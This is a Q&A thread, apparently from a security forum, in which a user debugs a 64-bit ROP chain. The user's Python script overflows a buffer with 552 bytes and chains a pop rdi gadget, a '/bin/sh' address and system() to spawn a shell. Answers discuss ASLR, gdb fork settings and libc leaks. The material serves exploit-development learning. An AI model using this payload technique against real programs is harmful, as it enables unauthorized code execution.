ROP executes system("/bin/sh") but does not attach to it

Question

Here is the code:

import struct 
 
buf = ""
buf += "A" * 552
buf += struct.pack('<Q', 0x401493) # pop rdi; ret
buf += struct.pack('<Q', 0x7ffff7f79152) # /bin/sh
buf += struct.pack('<Q', 0x7ffff7e37e50) # system
 
file = open('in.txt', 'wb')
file.write(buf)

Running in gdb shows this:

[Attaching after process 5973 vfork to child process 5977]
[New inferior 2 (process 5977)]
[Detaching vfork parent process 5973 after child exec]
[Inferior 1 (process 5973) detached]
process 5977 is executing new program: /usr/bin/dash
[Attaching after process 5977 vfork to child process 5978]
[New inferior 3 (process 5978)]
[Detaching vfork parent process 5977 after child exec]
[Inferior 2 (process 5977) detached]
process 5978 is executing new program: /usr/bin/dash
[Inferior 3 (process 5978) exited normally]

Running without gdb ((cat in.txt; cat) | ./program) shows this:

zsh: broken pipe         ( cat in.txt; cat; ) | 
zsh: segmentation fault  ./program

What am I doing wrong? The ROP executes (it gets to system with "/bin/sh" in RDI) and gdb shows that it is trying to launch /usr/bin/dash (multiple times, for some reason) but no shell spawns

Kali 2021.3 x64, libc 2.31

Answer 1

If you have ASLR turned on (the default) for the system, those libc addresses in your exploit (e.g. 0x7ffff7e37e50) won't work. GDB will disable ASLR for the current debuggee, set by the disable-randomization setting. The addresses will be the same each time in GDB, hence your successes while debugging. You can disable this behavior with set disable-randomization off.

The reason you don't get a shell in GDB is likely because you haven't set follow-fork-mode to child, as the default behavior is to detach from child processes.

If system and /bin/sh do not have pointers in the current binary, you will need to find a way to obtain those addresses dynamically at runtime, such as using a leak to expose and calculate the base of libc in memory.

Answer 2

I encountered the same issue, and my workaround is adding an exit after the sys call. Otherwise it will crash.

You could do the same as you search for the address of system in gdb.